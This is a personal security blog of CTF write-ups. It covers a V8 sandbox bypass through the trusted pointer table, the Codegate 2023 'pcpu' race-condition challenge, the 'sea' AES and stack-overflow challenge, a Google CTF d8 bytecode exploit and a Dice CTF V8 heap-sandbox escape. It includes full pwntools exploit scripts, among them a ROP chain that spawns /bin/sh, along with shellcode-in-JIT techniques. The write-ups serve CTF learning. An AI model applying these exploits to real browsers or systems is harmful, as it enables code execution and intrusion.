2019's blog

Breaking V8 Sandbox with Trusted Pointer Table

Sun, 14 Jul 2024 00:00:00 +0000

Recently, I have submitted my academic paper to NDSS 2025. Now it’s time to take a break. Following the deadline is the HITCON CTF 2024, so as the break, why not take a look? I really haven’t played CTF for quite a long time. :)

During the two days, I spent my efforts on the V8 Sandbox challenge. Actually I haven’t worked on V8 for a while. It seems that the sandbox feature now has already been enabled and incorporated into the bug bounty program. This is also a chance for me to catch up to the new progress on the V8 security. :)

0x00 Abstract

The challenge provides two exploitation primitives: writing a 64-bit value to the entry of the trusted pointer table and leaking the base address of PIE. We can use the first primitive to fake a WasmExportedFunctionData instance, allowing us to set rip to an 8-byte value in the trusted memory region. To control the content in this region, we leverage the immediate number arguments of the bytecode instruction AddSmi.ExtraWide. We can set the rip to point to the immediate numbers in the RWX page, whose address can be leaked by the second primitive, to execute our shellcode.

0x01 Trusted Pointer Table

According to the design documentation of V8 Sandbox, we can know that the trusted pointer table is used for storing the references to the trusted objects outside the sandbox. If a V8 object inside the sandbox needs to reference any trusted object, it stores a reference (i.e., index) to an entry of the trusted pointer table. The entry stores a pointer to the trusted object along with a tag value.

Some examples of the entries in the table are shown below. We can see that the high 16 bits are the tag, and the low 48 bits are the address to the V8 Object. In the example below, we job an entry containing pointer to a WasmExportedFunctionData instance. Another thing to note is that the first 0x2000 indices are read-only page, which seem to be unused.

gef➤  tel 0x007fff54010000
0x007fff54010000│+0x0000: 0x1b158f00040061 ("a"?)
0x007fff54010008│+0x0008: 0x001b158f00040181
0x007fff54010010│+0x0010: 0x001e158f0004021d
0x007fff54010018│+0x0018: 0x002b158f000402fd
0x007fff54010020│+0x0020: 0x002d158f00040321
0x007fff54010028│+0x0028: 0x001b158f00040369
0x007fff54010030│+0x0030: 0x001b158f000c0011
0x007fff54010038│+0x0038: 0x001b158f000403ad
0x007fff54010040│+0x0040: 0x80000000002009 ("\t "?)
0x007fff54010048│+0x0048: 0x8000000000200a ("\n "?)
gef➤  job 0x158f00040321 # Entry `+0x0020:`, low 48 bits are address.
0x158f00040321: [WasmExportedFunctionData]
 - map: 0x336300001e15 <Map[56](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - func_ref: 0x336300199ed9 <Other heap object (WASM_FUNC_REF_TYPE)>
 - internal: 0x158f000402fd <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
 - wrapper_code: 0x33630003c1b9 <Code BUILTIN JSToWasmWrapper>
 - js_promise_flags: 10
 - instance_data: 0x158f0004021d <Other heap object (WASM_TRUSTED_INSTANCE_DATA_TYPE)>
 - function_index: 0
 - signature: 0x555557fe5ea0
 - wrapper_budget: 1000

0x02 Faking Object

In this challenge, we can rewrite a table entry to an arbitrary value. After some trial, it seems that the only entry that may lead to the exploitation is the WasmExportedFunctionData shown above. I have also spent long time on other web-assembly object entries but none of them work. For example, I also tried WasmInternalFunction that is simpler and contains the web-assembly JIT code address directly (e.g., using WebAssembly.Table or calling the victim function in the web-assembly), but it seems that the JIT code address referenced by this entry is never used. The primary reason for this is that I didn’t know Sandbox.base can provide the base address of the sandboxed memory region, causing me to spend a lot of time in finding out how to fake an object using JIT immediate numbers on the RWX page whose address can be leaked by the provided PIE address, but this task is pretty hard especially the instance is as complex as WasmExportedFunctionData. Nonetheless, finally my teammate provides a PoC that informs me such leak.

The Sandbox instance provides many exploitation primitives, including arbitrary read and write in the sandboxed memory region. Therefore, we can easily fake a WasmExportedFunctionData instance in the sandboxed memory region, such as using a double array, and obtain the address of the faked object. We can simply copy the content from the WasmExportedFunctionData, except that we want the internal field to point to the correct address containing our controlled data. Besides, the field signature should also point to a buffer filled with zeros.

0x03 Controlling Trusted Region Content

The good news is that controlling internal field enables us to control rip because it reads a code address from the internal pointer and set it to rip, However, the bad news is that the field pointer is only an offset of the trusted memory region. In other words, we can only control the low 32 bits of the pointer, with the high 32 bits of the pointer being fixed to the base address of the trusted memory region.

Therefore, to control rip, we must somewhat be able to control some memory content in the trusted memory region, 8 bytes to be specific. However, it seems that most of the objects with content controllable are not in the trusted memory region but in the sandboxed memory region. After some investigation, we found that we may be able to control the arguments of AddSmi.ExtraWide to achieve such memory control. To be specific, the opcode contains two arguments: the first one is the immediate number we can control, and the second one is an index. I am not sure what the second argument is exactly, but the thing I notice is that it equals to the number of AddSmi appearing in the preceding part of the function. Therefore, if we insert x number of AddSmi instructions before AddSmi.ExtraWide, the value will be the x. Using this approach, we can control 6 bytes in the trusted region with two following bytes being zero. An example of AddSmi.ExtraWide is shown below. The bytes that can be used to set rip is in the bracket.

01 47 (c2 12 00 e0 55 55 00 00) AddSmi.ExtraWide [-536866110], [21845]

0x04 Executing Shellcode

Finally, we can set rip to our shellcode. We can use the similar approach I used previously to construct the shellcode inside the immediate number of a JIT JavaScript function. Fortunately directly copying function still gave the correct shellcode, since the offsets between the immediate numbers remain same after two years. The difference is that currently the JIT JavaScript function is stored in a RWX page whose address is not very random given the high 32 bits of base address of PIE, so we can set rip to the shellcode easily given such a leak.

It seems that in different platform, the offset of the shellcode with respect to the RWX page can be different. The problem does not appear in the original exploit that I used in the CTF, but appears in the simplified exploit that I prepared for this write-up. I am not sure why actually.

Finally, see the exploit here.

Codegate CTF 2023: pcpu & sea

Sat, 17 Jun 2023 00:00:00 +0000

Taking a break from my academic research, I played Codegate CTF 2023 this weekend with r3kapig. I solved two challenges: pcpu and sea, and both of them are quite interesting so here is the write-up for them. Thanks to the successful resolution of challenge sea in the last 20 minutes, our team manages to qualify for the finals. :)

pcpu

0x00 Overview

The program implements an virtual machine for a very simple customized register-based instruction set. The virtual register value can either be an integer or a reference to a list of integers, and the instructions involve operations setting and getting the value of the register or the element of the list. The VM is implemented as a pipeline: in each execution cycle, multiple threads are created to perform different tasks. Due to such multi-threading, race condition can occur that allows us to tamper some important data, which allows us to leak the flag.

0x01 Reverse Engineering

Instruction Loading. The function 0x2430 reads each instruction as an 32-bit integer and store them into an array. It executes precheck.py to check the validity of our instructions. This script simply executes these instructions and bails out if any error occurs, and in this case the program also exits. We can read this script to get some understanding of the semantics of the instructions. We can learn from this script that the register can not only be an integer but also be a reference to a list of integers. For example, inst == 2 creates such list and assign its reference to the destination register.

Execution Pipeline. The function 0x26F0 executes one cycle of the pipeline, which is achieved using 5 threads. Among them, thread functions 0x1640, 0x1550 and 0x12D0 simply moves the instruction from one queue to another while removing some unused bytes in some instructions, which are uninteresting. The thread function 0x16F0 executes the instruction obtained from the queue, but for operation that modifies the register value (e.g., move X1 to X0), the actual task to do is stored into another queue. Such queue is popped in the last thread function 0x1E60, which actually execute any register write scheduled in 0x16F0.

Register Storing List. One unique feature of this virtual instruction set is that the value of a register can actually be a reference to a list. The function 0x2270 is used to allocate a list, which allocate a structure from 0x6230. 0x6230 stores an array of 4 structures, each of which has the following field layout shown below. Such structure represents a list that could be referenced by a register. The function 0x2270 finds an element in this global array with field is_free == 1, which means the list is currently not referenced by any register. For such element, its field is_free is set to zero and its pointer is assigned to the corresponding register. In addition, before returning, 0x2270 also fetches a string pointer from 0x6100 (which is a pointer to an array of string pointers) indexed by field rand_digit, and copy this string into the field list (which overlap with rand_digit because they are not used at the same time). We should note that index 10 of 0x6100 is the flag. However, rand_digit can only be within the range 0-9, which cannot allow us to access the flag string in normal situation. In addition, when a register pointing to a list is re-written by another value, the structure representing the list will be freed again by setting is_free to 1 and resetting rand_digit to a value within range 0-9.

struct reg_list {
  uint64_t is_free;
  union {
    uint64_t rand_digit; // used when is_free == 1
    uint8_t list[0x10000]; // used when is_free == 0
  }
};

0x02 Vulnerabilty

Actually, there are many problems in the program. For example, the VM of precheck.py is inconsistent with VM of the binary program, which could cause type confusion. However, such type confusion does not seem to be exploitable. The actual problem that we use to solve the challenge is the race condition.

As we have mentioned earlier, the register rewrite is performed in a different thread (0x1E60, including freeing the reg_list structure) from another operation like writing element in a list referenced by a register (thread 0x16F0). We have also found that there is a sleep function called in some element operations. For example, writing element of a list referenced by a register:

/* code snippet in function 0x16F0 */
// obtain the register value
v17 = (reg_list *)*registers;
// sleep that is long enough for other threads to terminate
sleep(1u);
// write element at index specified by the third byte to immediate number specified by the forth byte
v17->list[(unsigned __int8)ptr->third_byte] = ptr->high_byte;

Consider we have two consecutive instructions: X0 = reg and X0[idx] = val. We should note that writing X0 (and also freeing list referenced by X0) and writing X0[idx] are both executed in the same cycle, by thread function 0x1E60 and thread function 0x16F0 respectively. Therefore, if we can fetch *register (X0) to v17 before the list referenced by X0 is freed by 0x1E60, after sleep(1) the v17 will point to a reg_list structure with is_free == 1; thus, we can write field list of a freed reg_list structure, which is now interpreted as rand_digit! Therefore, by setting the first byte to 10, we can actually load the flag content into the list when this corrupted reg_list is allocated again. The full exploit is shown below:

from pwn import *

context(log_level='info')

sh = remote("43.202.54.209", 1234)
# sh = process("./app")
# gdb.attach(sh, "c")
# sleep(2)

def send_insts(insts):
    sh.sendlineafter(b"Inst Size >", str(len(insts)).encode())
    for inst in insts:
        sh.sendline(str(u32(inst)).encode())
    for inst in insts:
        sh.recvuntil(b" > ")

alloc_list = lambda reg : p8(2) + p8(reg) + p16(0xffff)
read_reg_idx = lambda dst, src, idx : p8(4) + p8(dst) + p8(src) + p8(idx)
write_reg0_idx = lambda idx, data : p8(3) + p8(0) + p8(idx) + p8(data)
copy_reg = lambda dst, src : p8(1) + p8(dst) + p8(0) + p8(src)
dump_regs = lambda : p32(7)

prog = [alloc_list(0), alloc_list(1), # allocate 2 buffers
    copy_reg(0, 1), # transfer x1 to x0, x0 will be released
    write_reg0_idx(0, 10),
    # if x0 is first fetched, and sleep, and then released, released buffer is rewritten
    alloc_list(3), # now new buffer allocation gives OOB access
    dump_regs(), # ensure alloc is commited before any idx R/W
]

for i in range(0, 78):
    prog.append(read_reg_idx(2, 3, i))
    prog.append(dump_regs())

send_insts(prog)

flag = []
sh.recvuntil(b"X2 : 0x")
for i in range(0, 78):
    sh.recvuntil(b"X2 : 0x")
    flag.append(int(sh.recvuntil(b"\n"), 16))
    if flag[0] != ord('c'):
        exit(1)
    print(len(flag), b"".join(map(lambda x: bytes([x]), flag)))

sh.interactive()

# codegate2023{a77f1e5998a7d38c0e1f77274a344f142a7ff9d167e1419d41d6489fb138bb45}
# codegate2023{a77f1e5998a7d38c0e1f77274a344f142a7ff9d167e1419d41d6489fb138b044}

Due to race condition, we need to run it for several times in order to be able to achieve the scenario we want. In addition, due to the same race condition problem, we sometimes get the wrong flag because for some bytes the X2 is printed before it is loaded with the flag content, but this can be easily fixed manually by comparing flags from different runs.

sea

0x00 Overview

The program implements a simple AES-CBC encryption and decryption service, with key and iv being randomly generated and unknown to us. However, after each decryption the key and iv are re-generated. There are three vulnerabilities in the program: we firstly leak the pointers and canary via an out-of-bounds read in decryption; we then use a data segment overflow in the hexadecimal parser to rewrite the constants used by AES, so that key and iv can be leaked; finally, a stack overflow filled with encrypted data is exploited to get the code execution.

0x01 OOB Read to Leak Stack Data

In decryption, the function 0x15A1 is called to unpad the decrypted data. However, the sign of the padding byte is used incorrectly, which causes the problem when padding byte is larger than 0x7f (e.i., being negative when used as signed char). The problem is shown in the code snippet below.

if ( (char)last_byte <= 16 && len ) // signed comparison, so negative byte can pass the check
{
  while ( last_byte > i ) // unsigned comparison
  {
    if ( src[(unsigned int)last_idx - i] != last_byte ) // unsigned subtraction
      return -1;
    ++i;
  }
  memset(dst, 0, len);
  v12 = len - (char)last_byte; // signed subtraction, so a negative byte can increase the length!
  result = 0;
  *new_len = v12;
  qmemcpy(dst, src, v12);
}

For example, if the decrypted data is 'A' * 0x10 + '\x80' * 0x80, the last_byte will be 0x80(-128). Due to its incorrect sign handling, these 128 padding bytes can be successfully unpaded, and finally the length is increased by 128, which causes the out-of-bounds read of the stack buffer. This could leak program base, libc base and canary.

To have decrypted data 'A' * 0x10 + '\x80' * 0x80, we first use the encryption oracle to encrypt 'A' * 0x10 + '\x80' * 0x80, which will be padded and the actual data encrypted will be 'A' * 0x10 + '\x80' * 0x80 + '\x10' * 0x10. Due to the property of AES-CBC, we can simply remove the last block (0x10 bytes) of the encrypted data and send such truncated encrypted data to the decryption oracle, so that the decrypted data can be 'A' * 0x10 + '\x80' * 0x80.

0x02 Leaking Key and Initialization Vector

In hexadecimal parser function 0x1470, 0x800 bytes are read into 0x4020 at .data segment. However, the buffer has only 288 bytes, and the following bytes are round constants, S-box, and inverse S-box used by AES algorithm. According to this paper, after setting the S-box to zeros, the ciphertext generated by encrypting any data can be used to recover the key easily.

In our scenario, since we can also write round constants, \(r_i\) in the paper can also be re-written to zeros. Therefore, we can simply recover the key by kw[0:8] + p32(u32(kw[8:12]) ^ u32(kw[0:4])) + p32(u32(kw[12:16]) ^ u32(kw[4:8])), where kw is the last expanded key, which is any ciphertext block generated by such corrupted AES.

After recovering the key, we use the overflow again to recover the constants of AES, and iv can be recovered by decrypting a block of ciphertext (obtained by encrypting a plaintext block using the encryption oracle) using ECB with the recovered key and calculating xor of decrypted block and the plaintext.

0x03 Code Execution

Finally, we can use the stack overflow in encryption to get the code execution. Since our data is encrypted, we need to firstly decrypt our payload with leaked key and iv locally. However, since the ROP chain is quite small, we firstly pivot the stack onto .data segment and then execute the "/bin/sh". This work is done by @n132.

Here is the final exploit:

from pwn import *
from Crypto.Cipher import AES
from binascii import *
import sys
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
if len(sys.argv) == 1:
    p = process("./sea",env={'LD_PRELOAD':"./libc-2.31.so"})
else:
    p = remote("54.180.128.138", 45510)

ru      = lambda a:     p.readuntil(a)
r       = lambda n:     p.read(n)
sla     = lambda a,b:   p.sendlineafter(a,b)
sa      = lambda a,b:   p.sendafter(a,b)
sl      = lambda a:     p.sendline(a)
s       = lambda a:     p.send(a)
def cmd(c):
    sla(b"> ",str(c).encode())
def enc(c):
    cmd(1)
    sla(b": ",c.hex())
    ru(b": ")
    return binascii.unhexlify(p.recvuntil(b"\n")[:-1])
def dec(c):
    cmd(2)
    sla(b": ",c.hex())
    ru(b"plaintext: ")
    return binascii.unhexlify(p.recvuntil(b"\n")[:-1])
def data_overflow(data):
    cmd(2)
    p.sendlineafter(b"ciphertext (as a hexstring) : ", binascii.hexlify(data))

leak = dec(enc(b"A" * 0x10 + b'\x80' * 0x80)[:-0x10])
base = u64(leak[18*8:19*8])-(0x7ffff7e12a61-0x00007ffff7d86000)-(0x7ffff7f36cc2-0x00007ffff7dd6000)
canary = u64(leak[32*8:33*8])
pie = u64(leak[31*8:32*8])-(0x555555558820-0x0000555555554000)
info(hex(pie))
info(hex(base))

info(hex(canary))
libc=ELF("./libc-2.31.so")
libc.address = base
rop=ROP(libc)
rdi = rop.find_gadget(['pop rdi','ret'])[0]
rsi = rop.find_gadget(['pop rsi','ret'])[0]
rdx = rop.find_gadget(['pop rdx','ret'])[0]
rax = rop.find_gadget(['pop rax','ret'])[0]
ret = rop.find_gadget(['ret'])[0]
leave = 0x00000000000578c8+base

syscall = rop.find_gadget(['syscall','ret'])[0]
binsh = libc.search(b'/bin/sh').__next__()

cmd(2)
sla(b": ", (b'A' * 288 + b'\x00' * (32 + 256 + 256 + 1)).hex())

kw = enc(b"A")
key = kw[0:8] + p32(u32(kw[8:12]) ^ u32(kw[0:4])) + p32(u32(kw[12:16]) ^ u32(kw[4:8]))

data_overflow( b"".ljust(288,b'A')+ b'\x8d\x01\x02\x04\x08\x10 @\x80\x1b6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00R\tj\xd506\xa58\xbf@\xa3\x9e\x81\xf3\xd7\xfb|\xe39\x82\x9b/\xff\x874\x8eCD\xc4\xde\xe9\xcbT{\x942\xa6\xc2#=\xeeL\x95\x0bB\xfa\xc3N\x08.\xa1f(\xd9$\xb2v[\xa2Im\x8b\xd1%r\xf8\xf6d\x86h\x98\x16\xd4\xa4\\\xcc]e\xb6\x92lpHP\xfd\xed\xb9\xda^\x15FW\xa7\x8d\x9d\x84\x90\xd8\xab\x00\x8c\xbc\xd3\n\xf7\xe4X\x05\xb8\xb3E\x06\xd0,\x1e\x8f\xca?\x0f\x02\xc1\xaf\xbd\x03\x01\x13\x8ak:\x91\x11AOg\xdc\xea\x97\xf2\xcf\xce\xf0\xb4\xe6s\x96\xact"\xe7\xad5\x85\xe2\xf97\xe8\x1cu\xdfnG\xf1\x1aq\x1d)\xc5\x89o\xb7b\x0e\xaa\x18\xbe\x1b\xfcV>K\xc6\xd2y \x9a\xdb\xc0\xfex\xcdZ\xf4\x1f\xdd\xa83\x88\x07\xc71\xb1\x12\x10Y\'\x80\xec_`Q\x7f\xa9\x19\xb5J\r-\xe5z\x9f\x93\xc9\x9c\xef\xa0\xe0;M\xae*\xf5\xb0\xc8\xeb\xbb<\x83S\x99a\x17+\x04~\xbaw\xd6&\xe1i\x14cU!\x0c}c|w{\xf2ko\xc50\x01g+\xfe\xd7\xabv\xca\x82\xc9}\xfaYG\xf0\xad\xd4\xa2\xaf\x9c\xa4r\xc0\xb7\xfd\x93&6?\xf7\xcc4\xa5\xe5\xf1q\xd81\x15\x04\xc7#\xc3\x18\x96\x05\x9a\x07\x12\x80\xe2\xeb\'\xb2u\t\x83,\x1a\x1bnZ\xa0R;\xd6\xb3)\xe3/\x84S\xd1\x00\xed \xfc\xb1[j\xcb\xbe9JLX\xcf\xd0\xef\xaa\xfbCM3\x85E\xf9\x02\x7fP<\x9f\xa8Q\xa3@\x8f\x92\x9d8\xf5\xbc\xb6\xda!\x10\xff\xf3\xd2\xcd\x0c\x13\xec_\x97D\x17\xc4\xa7~=d]\x19s`\x81O\xdc"*\x90\x88F\xee\xb8\x14\xde^\x0b\xdb\xe02:\nI\x06$\\\xc2\xd3\xacb\x91\x95\xe4y\xe7\xc87m\x8d\xd5N\xa9lV\xf4\xeaez\xae\x08\xbax%.\x1c\xa6\xb4\xc6\xe8\xddt\x1fK\xbd\x8b\x8ap>\xb5fH\x03\xf6\x0ea5W\xb9\x86\xc1\x1d\x9e\xe1\xf8\x98\x11i\xd9\x8e\x94\x9b\x1e\x87\xe9\xceU(\xdf\x8c\xa1\x89\r\xbf\xe6BhA\x99-\x0f\xb0T\xbb\x16\x01')

c = enc(b"A")
iv = bytes([a^b for a,b in zip(AES.new(key, AES.MODE_ECB).decrypt(c), b"A".ljust(16, b'\x0f'))])
print(binascii.hexlify(key), binascii.hexlify(iv))

aes = AES.new(key, AES.MODE_CBC, iv)
info(hex(leave))
rrr = flat([
    0x555555558020-0x0000555555554000+pie-8,0,leave,0
])
ropchain = flat([
    rdi,binsh,rsi,0,rdx,0,libc.sym['execve']
])
enc(aes.decrypt(AES.new(key, AES.MODE_CBC, iv).encrypt(ropchain.ljust(0xf0,b'\0')) + p64(canary) + cyclic(0x8)+rrr))

p.interactive()

PS: I broke my WSL in the last hour of the CTF due to replacing system ld with the ld used by this challenge, so I asked my teammate n132 to finish the last step of the exploitation. Lesson learned: never do this again. :)

Google CTF 2022 d8: From V8 Bytecode to Code Execution

Sun, 03 Jul 2022 00:00:00 +0000

This weekend I have played Google CTF with r3kapig. On the first day I tried the OCR challenge but failed to solve it, and on the second day I spent the whole day working on the d8 that I am more familiar with. Finally I managed to solve it at midnight as the second blood. This challenge is quite interesting so it is worth to do a write-up.

0x00 Overview

In this challenge, we need to exploit a runner.cc that takes binary input and passes it to v8::ScriptCompiler::CachedData, which is to be executed. After some investigation, we found that we can use such primitive to execute arbitrary V8 bytecode. It turns out that V8 bytecode execution has many out-of-bound primitives that can be exploited because they are deemed as trusted input by V8. The final solution utilizes an out-of-bound read in CreateArrayLiteral to fetch a faked ArrayBoilerplateDescription, leading to an object faking primitive and thus code execution with regular exploitation technique.

0x01 V8 Code Caching

More information about this can be found here and here. To make it simple, it is a technique that allows V8 to avoid having to parse a same script for many times. When a JavaScript script is compiled, a cache that stores the compilation result can be generated, and when such script is encountered again, such cache can be used instead of re-compiling the same script again.

Generating Code Cache

According to the documentation in the link above, we need to use v8::ScriptCompiler::kProduceCodeCache or v8::ScriptCompiler::GetCodeCache to generate cache for a script being compiled. However, non of these is found in the given V8 version. After checking test-api.cc, we found that we need to use v8::ScriptCompiler::CreateCodeCache to generate the code cache for a script that was just compiled and executed. Yes, it turns out the documentation makes the mistake. Note that we must call CreateCodeCache after script->Run(context), otherwise some lazily compiled functions are not cached.

In addition, v8::V8::SetFlagsFromCommandLine can be used to allow the script to use native syntaxes such as %DebugPrint. This can make debugging much more convenient. Note that the %DebugPrint is compiled into code cache in the V8 bytecode, so when such cache is executed in the runner.cc, the %DebugPrint output can still be shown.

Another thing to note is that when runner.cc loads the cache, an empty script string is also provided. The cache loader would check if the hash inside the binary cache is identical to the hash of the script, if not the cache will be rejected. After some debugging, we found that the hash of empty script is 0 and the hash of binary cache is the 4 bytes at offset +8. Therefore to allow the cache to be executed such field is set to 0.

Also, the cache generated by debug/release version can not be shared among each other, otherwise the cache will be rejected. In debug version, a flag FLAG_verify_snapshot_checksum is set to perform some additional checksum checking, to disable this, this flag is manually set to false at function SerializedCodeData::SanityCheckWithoutSource.

At this point we can generate the cache for our JavaScript code that can be run by runner.cc. The full code about this is here. We can use ./gen exp.js --allow-natives-syntax --print-bytecode to compile the JavaScript into cache and store the binary cache into ./blob.bin. We use --print-bytecode to see V8 bytecode being generated, and such bytecode can also be found in generated cache.

0x02 Exploiting V8 Bytecode

Initially we are thinking if the raw machine code generated by JIT is also stored into cache, if so we can directly execute the shellcode by modifying them in the cache. However, after some trials, it turns out that thing cannot be easy like this. Therefore, it seems that we should use V8 bytecode to achieve the exploit.

By arbitrarily modifying the bytecode, the V8 easily crashes. I have come up with some exploitation ideas but only the last one works for me finally.

Use bytecode to leak the hole into JavaScript, which is an exploitation primitive that has been previously used. However, it seems that this primitive is already mitigated in current version according to my friend sakura, so I have not spent much time on it, although it can potentially work.
When V8 bytecode accesses the argument register, there is an index value byte in the instruction byte sequence. By modifying such byte, OOB can be caused. However, after further investigation, the OOB occurs on stack, and the data behind is not easily controllable. In addition, the argument array is not stored in compressed pointer form but 64-bit pointers, so it is hard to exploit by simply writing Smi numbers to stack. Therefore, this idea does not work.
We found that CreateArrayLiteral also has an index value that is used to access a FixedArray in OldSpace. The value being fetched is a pointer to ArrayBoilerplateDescription, which describes how array is initialized. By controlling the content after the FixedArray, we can fake such ArrayBoilerplateDescription instance, so we can also obtain an object faking primitive. After then the exploitation is regular.

CreateArrayLiteral

This is a bytecode that is used to create JavaScript array. Let’s write some test code to see how it works.

function foo()
{
	const o = [[], 1.1, 0x123];
	return o[0];
}

foo();
readline();
// ./d8 test.js --print-bytecode

Here is the bytecode generated for this foo function:

79 00 00 04       CreateArrayLiteral [0], [0], #4
c4                Star0
0c                LdaZero
2f fa 01          GetKeyedProperty r0, [1]
a9                Return

It turns out that an instruction CreateArrayLiteral [0], [0], #4 is generated for the array creation. The question is how does interpreter know what elements to put into the array? The answer lies at [0] of CreateArrayLiteral. Such value is used as index to access an FixedArray, which is printed below the bytecode.

0x1b1f00253b31: [FixedArray] in OldSpace
 - map: 0x1b1f00002239 <Map>
 - length: 1
           0: 0x1b1f00253b25 <ArrayBoilerplateDescription PACKED_ELEMENTS, 0x1b1f00253af9 <FixedArray[3]>>

The index 0 accesses an ArrayBoilerplateDescription instance. This is an instance used to describe how the array elements are initialized. Let see what information it contains.

pwndbg> job 0x1b1f00253b25
0x1b1f00253b25: [ArrayBoilerplateDescription] in OldSpace
 - map: 0x1b1f000033f5 <Map[12]>
 - elements kind: PACKED_ELEMENTS
 - constant elements: 0x1b1f00253af9 <FixedArray[3]>
pwndbg> job 0x1b1f00253af9
0x1b1f00253af9: [FixedArray] in OldSpace
 - map: 0x1b1f00002239 <Map>
 - length: 3
           0: 0x1b1f00253b0d <ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x1b1f00002261 <FixedArray[0]>>
           1: 0x1b1f00253b19 <HeapNumber 1.1>
           2: 291
pwndbg> p/x 291
$1 = 0x123

The ArrayBoilerplateDescription instance contains a constant elements field which points to another FixedArray. Such FixedArray contains the elements to be initialized for the newly created array. One interesting point to note is that the first element is another ArrayBoilerplateDescription pointer instead of a JSArray pointer, and this makes sense: each time when we create an array, we want a new JSArray instance to be created instead of using the reference to the old JSArray.

An important question to ask is that if we can fake such ArrayBoilerplateDescription instance used for CreateArrayLiteral, can we have object faking primitive? After manually modifying pointers inside the constant elements to an existing JavaScript object pointer, the answer turns out to be yes. Therefore, the next question is how to fake the ArrayBoilerplateDescription via OOB read of CreateArrayLiteral instruction.

Controlling Memory after FixedArray

Since the FixedArray is in the OldSpace, it is quite intuitive to try to create an Array with double elements and calls garbage collection to put it into OldSpace, and to see if the array elements can locate at memory after the FixedArray(e.i. the OOB read victim). However, it seems that the element content is too far away from the FixedArray, so this approach does not work.

Then we found that the content inside constant elements is very close to FixedArray, but it is before instead of after the FixedArray. However, if we create another function that also contains a CreateArrayLiteral instruction, its constant elements can reside after the target victim FixedArray, as long as this function declaration is located after the victim function. In addition, if the array created contains only double elements, its constant elements is a FixedDoubleArray, which means unboxed double is stored in the memory, so we can fully control the memory content after the victim FixedArray!

The specific OOB index is found by some debugging and trials. Initially we set the unboxed double to As, and then we inspect the memory after the target victim FixedArray in the gen.cc process (debug version). Note that we cannot do so in runner.cc because we cannot print the bytecode there. Nonetheless, fortunately the memory layout is very similar among them. With this we calculate an index value and set it as index used by instruction CreateArrayLiteral, and then we can run the challenge binary with the modified cache. If a crash occurs with address 0x????41414141, the index is valid for OOB access.

Final Exploit

At this point the exploitation steps should be clear:

Prepare a large double array, and the low 32 bits of its element address are fixed (V8 pointer compression). Such array is used to prepare the faked instances such as ArrayBoilerplateDescription, FixedArray, Uint32Array, etc.
Spray the low 32 bits of the address of the elements of the large array as FixedDoubleArray after the FixedArray used as OOB read victim. At the large array, the ArrayBoilerplateDescription should be faked (Note that in pointer compression mode low 32 bits of pointers to built-in instances such as Map are fixed).
Call the victim function, whose CreateArrayLiteral instruction should be modified beforehand to cause the OOB read, and we return the element as the faked object.
As long as we have the faked object, the exploitation is very regular, which I will not discuss here.

The full exploit is here. We firstly need to compile this exploit to a cache binary, and then use the Python script to locate and modify the CreateArrayLiteral instruction, and then use the modified cache as the final exploit to be used for the challenge binary.

Dice CTF Memory Hole: Breaking V8 Heap Sandbox

Sun, 06 Feb 2022 00:00:00 +0000

0x00 Introduction

In this challenge, we need to exploit V8 JavaScript engine with heap sandbox enabled. The bug is very simple: an array OOB. We bypass the sandbox by rewriting code field of function object, so that we can control the low 32 bits of rip register. We write the shellcode as double floating point immediate numbers in function and compile this function using JIT, and set rip to address of the shellcode to execute execve.

0x01 Sandbox Overview

The detail of the sandbox is here, but I will not detail it here. One important protection is that it converts all external pointers to indexes of a lookup table, such as pointer to web assembly RWX page and pointer of ArrayBuffer backing store. Thus, we cannot use normal approach to achieve arbitrary read and write.

0x02 Approach

Hijacking Program Counter

If we %DebugPrint a function object, we can see there is a code field pointing to an object at a r-x page. If we type job command to that code field, we can see many assembly instructions. These are exactly the instructions that will be executed if the function is called.

pwndbg> job 0x7fb0804ad55
0x7fb0804ad55: [Function]
 - map: 0x07fb082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 - code: 0x07fb00004f01 <Code BUILTIN CompileLazy>  <---- code field
 ...
pwndbg> job 0x07fb00004f01
...
Instructions (size = 1112)
0x7fb07e8d6c0     0  55                   push rbp
0x7fb07e8d6c1     1  4889e5               REX.W movq rbp,rsp
...

We can verify this by setting a break point at 0x7fb07e8d6c0 and call the function in JavaScript. We can see the breakpoint is triggered in debugger.

Therefore, we can try to modify this field to see if we can hijack rip when this JavaScript function is called. We set the code field to 0x414141 using gdb set command, and call this function in JavaScript. We can see a crash at following location:

 ► 0x7fb07e8206b    test   dword ptr [rcx + 0x1b], 0x20000000
   0x7fb07e82072    jne    0x7fb07e82081 <0x7fb07e82081>

   0x7fb07e82078    add    rcx, 0x3f
   0x7fb07e8207c    jmp    0x7fb07e8208c <0x7fb07e8208c>
    ↓
   0x7fb07e8208c    jmp    rcx

The value of rcx is 0x7fb00414141, which is base address plus the value we have provided.

Looking at the assembly code where the crash occurs, we can conclude that if dword ptr [rcx + 0x1b] & 0x20000000 is zero, rip will be set to rcx + 0x3f, which is an easily satisfiable condition.

Writing Shellcode with Immediate Numbers

Unlike web assembly, whose JIT code is stored in region outside the V8 heap, the normal JavaScript function store the JIT code inside the V8 heap (e.i. the 32-bit region starting with the base address, read this for more details). We can see this also by looking at code field of a JITed JavaScript function object.

const foo = () =>
{
	return [1.1, 2.2, 3.3];
}
%PrepareFunctionForOptimization(foo);
foo();
%OptimizeFunctionOnNextCall(foo);
foo();
%DebugPrint(foo);
readline();

DebugPrint: 0x29820804ae0d: [Function]
 - map: 0x2982082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 ...
 - code: 0x298200044001 <Code TURBOFAN>
 ...
 
pwndbg> job 0x298200044001
0x298200044001: [Code]
...
Instructions (size = 304)
0x298200044040     0  8b59d0               movl rbx,[rcx-0x30]
...
0x29820004409f    5f  49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a
0x2982000440a9    69  c4c1f96ec2           vmovq xmm0,r10
0x2982000440ae    6e  c5fb114107           vmovsd [rcx+0x7],xmm0
0x2982000440b3    73  49ba9a99999999990140 REX.W movq r10,0x400199999999999a
0x2982000440bd    7d  c4c1f96ec2           vmovq xmm0,r10
0x2982000440c2    82  c5fb11410f           vmovsd [rcx+0xf],xmm0
0x2982000440c7    87  49ba6666666666660a40 REX.W movq r10,0x400a666666666666
...

